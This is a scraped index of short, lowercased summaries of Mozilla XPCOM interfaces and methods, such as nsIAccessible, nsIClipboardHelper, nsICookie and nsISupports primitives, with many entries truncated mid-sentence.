DefaultKeyBinding
« nsiaccessible page summary provides localized string of global keyboard accelerator for default action, such as ctrl+o for open file (ctrl + o).
DoAction
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
ExtendSelection
« nsiaccessible page summary this method extends the current selection from its current accessible anchor node to this accessible.
GetActionDescription
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
GetActionName
exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.ns_error_invalid_arg indicates that the given index is our of range.
GetRelation
nsiaccessiblerelation getrelation( in unsigned long aindex ); parameters aindex[in] the index for which relation is to be retrieved.
IndexInParent
« nsiaccessible page summary the 0-based index of this accessible in its parent's list of children, or -1 if this accessible does not have a parent.
KeyboardShortcut
« nsiaccessible page summary provides localized string of accesskey name, such as alt+d (alt + d).
SetSelected
void setselected( in boolean aisselected ); parameters aisselected[out] the current selection exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
TakeSelection
void takeselection(); exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
nsIAccessibleCaretMoveEvent
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description caretoffset long return caret offset.
nsIAccessibleScrollType
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) constants constant value description scroll_type_top_left 0x00 scroll the top left of the object or substring to the top left of the window (or as close as possible).
nsIAccessibleTable
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getcellat(in long rowindex, in long columnindex); note: renamed from cellrefat in gecko 1.9.2 long getcellindexat(in long rowindex, in long columnindex); note: renamed from getindexat in gecko 1.9.2 astring getcolumndescription(in long columnindex); long getcolumnextentat(in long row, in long column); long getcolumnindexat(in long cellindex); note: renamed from getcolumnatindex in gecko 1.9.2 void getrowandcolumnindicesat(in long cellindex, out long rowindex, out long columnindex); astring getrowde...
nsIAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview boolean isselected(); attributes attribute type description columnextent long return the number of columns occupied by this cell.
nsIAccessibleValue
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean setcurrentvalue(in double value); obsolete since gecko 1.9 attributes attribute type description currentvalue double maximumvalue double read only.
nsIAccessibleWin32Object
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description hwnd voidptr handle to the external window implementing iaccessible.
nsIAuthPromptAdapterFactory
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiauthprompt2 createadapter(in nsiauthprompt aprompt); methods createadapter() wrap an object implementing nsiauthprompt so that it's usable via nsiauthprompt2.
nsIAuthPromptProvider
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void getauthprompt(in pruint32 apromptreason, in nsiidref iid, [iid_is(iid),retval] out nsqiresult result); constants constant value description prompt_normal 0 normal (non-proxy) prompt request.
nsIBadCertListener2
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) replaces the obsolete nsibadcertlistener interface.
nsIBlocklistPrompt
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void prompt([array, size_is(acount)] in nsivariant aaddons, [optional] in pruint32 acount); methods prompt() prompt the user about newly blocked addons.
nsIBrowserBoxObject
inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser element implements this interface.
nsICRLInfo
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description lastfetchurl autf8string the url this crl was last fetched from.
nsICancelable
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void cancel(in nsresult areason); methods cancel() call this method to request that this object abort whatever operation it may be performing.
nsIClipboardCommands
inherits from: nsisupports last changed in gecko 1.7 method overview boolean cancopyimagecontents(); boolean cancopyimagelocation(); boolean cancopylinklocation(); boolean cancopyselection(); boolean cancutselection(); boolean canpaste(); void copyimagecontents(); void copyimagelocation(); void copylinklocation(); void copyselection(); void cutselection(); void paste(); void selectall(); void selectnone(); methods cancopyimagecontents() returns whether we can cop...
nsIClipboardHelper
inherits from: nsisupports last changed in gecko 1.7 method overview void copystring(in astring astring); void copystringtoclipboard(in astring astring, in long aclipboardid); methods copystring() this method copies string to (default) clipboard.
nsIClipboardOwner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void losingownership(in nsitransferable atransferable); methods losingownership() this method notifies the owner of the clipboard transferable that the transferable is being removed from the clipboard.
nsICollection
inherits from: nsiserializable last changed in gecko 1.7 method overview void appendelement(in nsisupports item); void clear(); pruint32 count(); nsienumerator enumerate(); nsisupports getelementat(in pruint32 index); void queryelementat(in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); void removeelement(in nsisupports item); void setelementat(in pruint32 index, in nsisupports item); methods appendelement() appends a new item to the collection.
nsICommandController
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-command-controller;1.
nsIConsoleMessage
inherits from: nsisupports last changed in gecko 1.7 implementations may provide an object that can be query interfaced, nsisupports.queryinterface(), to provide more specific message information.
nsIContentPref
nsicontentpref dom/interfaces/base/nsicontentprefservice2.idlscriptable a content preference 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) attributes attribute type description domain astring read only.
nsICookie
last changed in gecko 1.7 inherits from: nsisupports attributes attribute type description expires pruint64 expiration time in seconds since midnight (00:00:00), january 1, 1970 utc.
nsICookieStorage
last changed in gecko 1.7 inherits from: nsisupports method overview void getcookie(in string acookieurl, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store.
nsICycleCollectorListener
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the order of calls will be call to begin(); then for every node in the graph a call to noteobject() and calls to noteedge() for every edge starting at that node; then a call to begindescriptions(); then for every black node in the cycle collector graph a call to either describerefcountedobject() or to describegcedobject(); and then a call to end().
nsIDNSListener
inherits from: nsisupports last changed in gecko 1.7 method overview void onlookupcomplete(in nsicancelable arequest, in nsidnsrecord arecord, in nsresult astatus); methods onlookupcomplete() called when an asynchronous host lookup completes.
nsIDNSRequest
inherits from: nsisupports last changed in gecko 1.7 method overview void cancel(); methods cancel() called to cancel a pending asynchronous dns request.
nsIDOMEventGroup
inherits from: nsisupports last changed in gecko 1.7 method overview boolean issameeventgroup(in nsidomeventgroup other); methods issameeventgroup() reports whether or not another event group is the same as this one.
nsIDOMEventTarget
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) see the eventtarget documentation.
nsIDOMFileException
last changed in gecko 1.9 (firefox 3) attributes attribute type description code unsigned short the error code describing the error condition that took place; see the constants list for details.
nsIDOMFileReader
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports implemented by: @mozilla.org/files/filereader;1.
nsIDOMGeoPositionError
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports attributes attribute type description code short numerical error code; see error constants for a complete list.
nsIDOMGeoPositionErrorCallback
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeopositionerror position); methods handleevent() called to handle a geolocation error.
nsIDOMGeoPositionOptions
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports attributes attribute type description enablehighaccuracy boolean if true, high accuracy mode is used.
nsIDOMMozNetworkStats
inherits from: nsisupports last changed in gecko 1.0 implemented by: @mozilla.org/networkstats;1.
nsIDOMMozNetworkStatsData
1.0 66 introduced gecko 18.0 inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) attributes attribute type description rxbytes unsigned long the number of bytes received on the connection.
nsIDOMNavigatorDesktopNotification
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) property that extends the navigator object.
nsIDOMOrientationEvent
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method overview void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
nsIDOMProgressEvent
1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download.
nsIDOMStorageList
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes.
nsIDOMStorageWindow
1.0 66 introduced gecko 1.8.1 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface has been merged into nsidomwindow, and this interface has been removed.
nsIDOMXPathException
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description code unsigned short the error code; see error codes for details.
nsIDOMXPathExpression
dom/interfaces/xpath/nsidomxpathexpression.idlscriptable represents a compiled xpath query returned from nsidomxpathevaluator.createexpression or document.createexpression inherits from: nsisupports last changed in gecko 1.7 method overview nsisupports evaluate(in nsidomnode contextnode, in unsigned short type, in nsisupports result) methods evaluate() evaluate the xpath expression.
nsIDOMXULControlElement
66 introduced gecko 1.0 inherits from: nsidomxulelement last changed in gecko 1.0 attributes attribute type description disabled boolean indicates whether the element is disabled or not.
nsIDOMXULSelectControlElement
inherits from: nsidomxulcontrolelement last changed in gecko 1.9 (firefox 3) method overview nsidomxulselectcontrolitemelement appenditem(in domstring label, in domstring value); long getindexofitem(in nsidomxulselectcontrolitemelement item); nsidomxulselectcontrolitemelement getitematindex(in long index); nsidomxulselectcontrolitemelement insertitemat(in long index, in domstring label, in domstring value); nsidomxulselectcontrolitemelement removeitemat(in long index); attributes attribute type description itemcount unsigned long read only.
nsIDOMXULSelectControlItemElement
inherits from: nsidomxulelement last changed in gecko 1.7 attributes attribute type description accesskey domstring command domstring control nsidomxulselectcontrolelement read only.
nsIDebug2
xpcom/base/nsidebug2.idlscriptable adds access to additional information in debug builds of mozilla code by expanding upon the features in nsidebug 1.0 66 introduced gecko 1.9.2 inherits from: nsidebug last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description assertioncount long the number of assertions since process start.
nsIDialogCreator
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void opendialog(in unsigned long atype, in acstring aname, in acstring afeatures, in nsidialogparamblock aarguments, [optional] in nsidomelement aframeelement); constants constant value description unknown_dialog 0 generic_dialog 1 select_dialog 2 methods opendialog() void opendialog( in unsigned long atype, in acstring aname, in acstring afeatures, in nsidialogparamblock aarguments, in nsidomelement aframeelement optional ); parameters atype aname afeatures aarguments aframeelement optional ...
nsIDirIndexParser
inherits from: nsistreamlistener last changed in gecko 1.7 called for each directory entry.
nsIDirectoryIterator
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in nsifilespec parent, in boolean resolvesymlink); boolean exist(); void next(); attributes attribute type description currentspec nsifilespec init() void init( in nsifilespec parent, in boolean resolvesymlink ); parameters parent resolvesymlink exist() boolean exists(); next() void next(); ...
nsIDirectoryService
inherits from: nsisupports last changed in gecko 1.7 method overview void init(); void registerprovider(in nsidirectoryserviceprovider prov); void unregisterprovider(in nsidirectoryserviceprovider prov); init() initializes the nsidirectoryservice instance.
nsIDownloadObserver
inherits from: nsisupports last changed in gecko 1.7 method overview void ondownloadcomplete(in nsidownloader downloader, in nsirequest request, in nsisupports ctxt, in nsresult status, in nsifile result); methods ondownloadcomplete() called to signal a download that has completed.
nsIDroppedLinkItem
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description url domstring url of the dropped link.
nsIEditorBoxObject
inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul editor element implements this interface.
nsIEditorIMESupport
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void begincomposition(in nstexteventreplyptr areply); native code only!
nsIEditorObserver
66 introduced gecko 1.0 obsolete gecko 18 inherits from: nsisupports last changed in gecko 1.7 method overview void editaction(); methods editaction() called after the editor completes a user action.
nsIEventSource
content/base/public/nsieventsource.idlscriptable this is the interface for server-sent dom events 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this implements the eventsource interface used for server-sent events.
ExtensionManager (Toolkit)
examples here is how to retrive all the extensions installed: var em = cc['@mozilla.org/extensions/manager;1'] .getservice(ci.nsiextensionmanager); const nsiupdateitem = ci.nsiupdateitem; var extension_type = nsiupdateitem.type_extension; items = em.getitemlist(extension_type, {}); items.foreach(function(item, index, array) { alert(item.name + " / " + item.id + " version: " + item.version); }); ...
nsIFeedGenerator
1.0 66 introduced gecko 1.8 inherits from: nsifeedelementbase last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description agent astring the name of the software that created the feed.
nsIFeedPerson
1.0 66 introduced gecko 1.8 inherits from: nsifeedelementbase last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description email astring the person's email address.
nsIFeedResultListener
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleresult(in nsifeedresult result); methods handleresult() called when feed processing is complete.
nsIFileOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants behavior flag constants constant value description defer_open 1<<0 see the same constant in nsifileinputstream.
nsIGSettingsCollection
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview boolean getboolean(in autf8string key); long getint(in autf8string key); autf8string getstring(in autf8string key); void setboolean(in autf8string key, in boolean value); void setint(in autf8string key, in long value); void setstring(in autf8string key, in autf8string value); methods getboolean() boolean getboolean( in autf8string key ); parameters key return value getint() long getint( in autf8string key ); parameters key return value getstring() autf8string getstring( in autf8string key ); paramete...
nsIGSettingsService
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/gsettings-service;1 as a service: var gsettingsservice = components.classes["@mozilla.org/gsettings-service;1"] .createinstance(components.interfaces.nsigsettingsservice); method overview nsigsettingscollection getcollectionforschema(in autf8string schema); methods getcollectionforschema() nsigsettingscollection getcollectionforschema( in autf8string schema ); parameters schema return value ...
nsIGeolocationUpdate
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) interface provides a way for a geolocation provider to notify the system that a new location is available.
nsIHapticFeedback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a service: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void performsimpleaction(i...
nsIIFrameBoxObject
inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul iframe element implements this interface.
nsIINIParserFactory
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) see example for how to use this interface.
nsIIdleService
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) you can get the idle time directly, but in most cases you will want to register an observer for a predefined interval.
nsIInProcessContentFrameMessageManager
1.0 66 introduced gecko 2.0 inherits from: nsicontentframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsicontent getownercontent(); violates the xpcom interface guidelines methods violates the xpcom interface guidelines getownercontent() nsicontent getownercontent(); parameters none.
nsIInputStreamCallback
inherits from: nsisupports last changed in gecko 1.7 method overview void oninputstreamready(in nsiasyncinputstream astream); methods oninputstreamready() called to indicate that the stream is either readable or closed.
nsIInterfaceRequestor
inherits from: nsisupports last changed in gecko 0.9.5 this is similar to nsisupports.queryinterface().
nsIJSCID
inherits from: nsijsid last changed in gecko 1.7 method overview nsisupports createinstance(); nsisupports getservice(); methods createinstance() nsisupports createinstance(); parameters none.
nsIJetpackService
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/jetpack/service;1.
nsIJumpListItem
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: to consumers: it's reasonable to expect we'll need support for other types of jump list items (an audio file, an email message, etc.).
nsILocaleService
1.0 66 introduced gecko 1.6 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/intl/nslocaleservice;1.
nsILoginManagerCrypto
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview astring decrypt(in astring ciphertext); astring encrypt(in astring plaintext); attributes attribute type description isloggedin boolean current login state of the token used for encryption.
nsILoginManagerIEMigrationHelper
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void migrateandaddlogin(in nsilogininfo alogin); methods migrateandaddlogin() takes a login provided from nsieprofilemigrator, migrates it to the current login manager format, and adds it to the list of stored logins.
nsIMemoryMultiReporterCallback
1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method overview void callback(in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure); methods callback() called to provide information from a multi-reporter.
nsIMessageListenerManager
1.0 66 introduced gecko 17 inherits from: nsisupports last changed in gecko 41 (firefox 41 / thunderbird 41 / seamonkey 2.38) implemented by: @mozilla.org/globalmessagemanager;1.
nsIMimeHeaders
inherits from: nsisupports last changed in gecko 1.7 implemented by: ?????????????????????????????????????.
nsIMsgAccount
inherits from: nsisupports last changed in gecko 1.7 method overview void addidentity(in nsimsgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsimsgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsimsgidentity identities nsisupportsarray read only.
nsIMsgProtocolInfo
defaultlocalfilepath nsilocalfile the default path under which all server data for this account type will be stored.
nsIMutableArray
inherits from: nsiarray last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) consumers of nsiarray should not queryinterface to nsimutablearray unless they own the array.
nsINavHistoryVisitResultNode
1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryresultnode last changed in gecko 1.9 (firefox 3) attributes attribute type description sessionid long long the session id of the visit, used for session grouping when a tree view is sorted by date.
nsINetworkLinkService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: @mozilla.org/network/network-link-service;1 as a service: var networklinkservice = components.classes["@mozilla.org/network/network-link-service;1"] .getservice(components.interfaces.nsinetworklinkservice); attributes attribute type description islinkup boolean this is set to true when the system is believed to have a usable network connection.
nsIOutputStreamCallback
inherits from: nsisupports last changed in gecko 1.7 method overview void onoutputstreamready(in nsiasyncoutputstream astream); methods onoutputstreamready() called to indicate that the stream is either writable or closed.
nsIPrinterEnumerator
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void displaypropertiesdlg(in wstring aprinter, in nsiprintsettings aprintsettings); void enumerateprinters(out pruint32 acount,[retval, array, size_is(acount)] out wstring aresult); obsolete since gecko 1.9 void initprintsettingsfromprinter(in wstring aprintername, in nsiprintsettings aprintsettings); attributes attribute type description defaultprintername wstring the name of the system default printer.
nsIProfileUnlocker
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void unlock(in unsigned long aseverity); constants constant value description attempt_quit 0 politely ask the process currently holding the profile's lock to quit.
nsIProgrammingLanguage
inherits from: nsisupports last changed in gecko 0.9.5 constants identifiers for programming languages.
nsIProperty
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description name astring get the name of the property.
nsIPropertyElement
inherits from: nsisupports last changed in gecko 1.0 attributes attribute type description key autf8string the key used to refer to this property.
nsIPushMessage
inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) nsipushmessage is the subject of a push-message observer notification.
nsIRandomGenerator
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void generaterandombytes(in unsigned long alength, [retval, array, size_is(alength)] out octet abuffer); methods generaterandombytes() generates the specified amount of random bytes.
nsIRunnable
nsirunnable is generated from nsirunnable.idl here is the prototype of nsirunnable.idl /** * represents a task which can be dispatched to a thread for execution.
nsISHistoryListener
inherits from: nsisupports last changed in gecko 1.7 a session history listener is notified when pages are added to, removed from, and loaded from session history.
nsISOCKSSocketInfo
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description destinationaddr prnetaddrptr the destination server address.
nsISSLSocketControl
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void proxystartssl(); void starttls(); attributes attribute type description forcehandshake boolean obsolete since gecko 1.9 notificationcallbacks nsiinterfacerequestor methods proxystartssl() starts an ssl proxy connection.
nsIScrollable
inherits from: nsiscrollable last changed in gecko 29.0 (firefox 29.0 / thunderbird 29.0 / seamonkey 2.26) method overview long getcurscrollpos(in long scrollorientation); obsolete since gecko 29.0 long getdefaultscrollbarpreferences(in long scrollorientation); void getscrollbarvisibility(out boolean verticalvisible, out boolean horizontalvisible); void getscrollrange(in long scrollorientation, out long minpos, out long maxpos); obsolete since gecko 29.0 void setcurscrollpos(in long scrollorientation, in long curpos); obsolete since ...
nsISeekableStream
inherits from: nsisupports last changed in gecko 1.7 method overview void seek(in long whence, in long long offset); void seteof(); long long tell(); constants constant value description ns_seek_set 0 specifies that the offset is relative to the start of the stream.
nsISelectionImageService
inherits from: nsisupports last changed in gecko 1.7 method overview void getimage(in short selectionvalue, out imgicontainer container); void reset(); methods getimage() retrieve the image for alpha blending.
nsISmsDatabaseService
nsismsdatabaseservice dom/sms/interfaces/nsismsdatabaseservice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1.
nsISmsRequestManager
nsismsrequestmanager dom/sms/interfaces/nsismsrequestmanager.idlscriptable used to manage sms related requests and notifications for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsrequestmanager;1.
nsIStringBundleOverride
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle/text-override;1.
nsISupports
last changed in gecko 1.0 method overview nsrefcnt addref();violates the xpcom interface guidelines void queryinterface(in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); nsrefcnt release();violates the xpcom interface guidelines methods violates the xpcom interface guidelines addref() notifies the object that an interface pointer has been duplicated.
nsISupportsArray
inherits from: nsicollection last changed in gecko 1.7 method overview boolean appendelements(in nsisupportsarray aelements); violates the xpcom interface guidelines nsisupportsarray clone(); void compact(); void deleteelementat(in unsigned long aindex); void deletelastelement(in nsisupports aelement); nsisupports elementat(in unsigned long aindex); violates the xpcom interface guidelines boolean enumeratebackwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other); viola...
data
this content is now available at nsisupportschar.attributes.
toString
this content is now available at nsisupportschar.tostring().
nsISupportsDouble
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data double provides access to the native type represented by the object.
nsISupportsFloat
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data float provides access to the native type represented by the object.
nsISupportsID
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data nsidptr provides access to the native type represented by the object.
nsISupportsInterfacePointer
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data nsisupports provides access to the native type represented by the object.
nsISupportsPRBool
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data prbool provides access to the native type represented by the object.
nsISupportsPRInt16
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print16 provides access to the native type represented by the object.
nsISupportsPRInt32
66 introduced gecko 1.0 inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print32 provides access to the native type represented by the object.
nsISupportsPRInt64
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data print64 provides access to the native type represented by the object.
nsISupportsPRTime
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data prtime provides access to the native type represented by the object.
nsISupportsPRUint16
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint16 provides access to the native type represented by the object.
nsISupportsPRUint32
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint32 provides access to the native type represented by the object.
nsISupportsPRUint64
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint64 provides access to the native type represented by the object.
nsISupportsPRUint8
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data pruint8 provides access to the native type represented by the object.
nsISupportsVoid
inherits from: nsisupportsprimitive last changed in gecko 1.0 method overview string tostring(); attributes attribute type description data voidptr this attribute provides access to the native type represented by the object.
nsITXTToHTMLConv
inherits from: nsistreamconverter last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by "@mozilla.org/streamconv;1?from=text/plain&to=text/html".
nsITaskbarProgress
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void setprogressstate(in nstaskbarprogressstate state, in unsigned long long currentvalue optional, in unsigned long long maxvalue optional); constants constant value description state_no_progress 0 stop displaying progress on the taskbar button.
nsITaskbarTabPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab preview support is disabled by default in gecko 1.9.2 creating an nsitaskbartabpreview for a window will automatically hide that window's nsitaskbarwindowpreview; this is done by windows and cannot be prevented.
nsIThreadPoolListener
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void onthreadcreated(); void onthreadshuttingdown(); methods onthreadcreated() called when a new thread is created by the thread pool.
nsITransportEventSink
inherits from: nsisupports last changed in gecko 1.7 method overview void ontransportstatus(in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax); methods ontransportstatus() transport status notification.
nsITransportSecurityInfo
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description errormessage wstring error message on connection failure.
nsIUUIDGenerator
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) implemented by @mozilla.org/uuid-generator; as a service: var uuidgenerator = components.classes["@mozilla.org/uuid-generator;1"] .getservice(components.interfaces.nsiuuidgenerator); method overview nsidptr generateuuid(); void generateuuidinplace(in nsnonconstidptr id); native code only!
nsIUrlListManagerCallback
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleevent(in acstring value); methods handleevent() void handleevent( in acstring value ); parameters value ...
nsIUserCertPicker
